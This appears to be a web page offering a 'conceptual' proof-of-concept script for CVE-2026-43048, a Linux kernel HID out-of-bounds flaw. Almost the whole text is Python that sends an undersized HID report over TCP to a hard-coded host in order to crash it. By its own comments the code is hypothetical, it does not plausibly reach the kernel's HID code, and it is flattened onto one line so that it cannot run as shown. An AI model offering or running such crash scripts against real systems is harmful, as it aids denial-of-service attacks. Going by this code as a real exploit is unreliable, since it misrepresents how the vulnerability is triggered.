CVE-2026-43048 Linux内核HID越界读写漏洞

import socket import struct # Conceptual PoC for CVE-2026-43048 # This script attempts to send a malformed HID report packet to trigger the OOB vulnerability. # Note: Actual exploitation requires a vulnerable target accepting HID input over an adjacent network. def trigger_oob_vulnerability(target_ip, target_port): try: # Create a raw socket or specific protocol socket (e.g., Bluetooth L2CAP) # Assuming a generic socket for demonstration sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Construct a HID report header with a size larger than the actual payload # Report ID: 0x01 # Expected Size: 64 bytes (hypothetical) # Actual Payload: 10 bytes (triggers the bug) report_id = 0x01 expected_size = 64 payload = b'A' * 10 # Small payload # Malformed packet structure packet = struct.pack('<BH', report_id, expected_size) + payload print(f"[*] Sending malformed packet to {target_ip}:{target_port}") print(f"[*] Declared size: {expected_size}, Actual payload size: {len(payload)}") sock.send(packet) print("[+] Packet sent. Check target for crash or instability.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target details trigger_oob_vulnerability("192.168.1.10", 9999)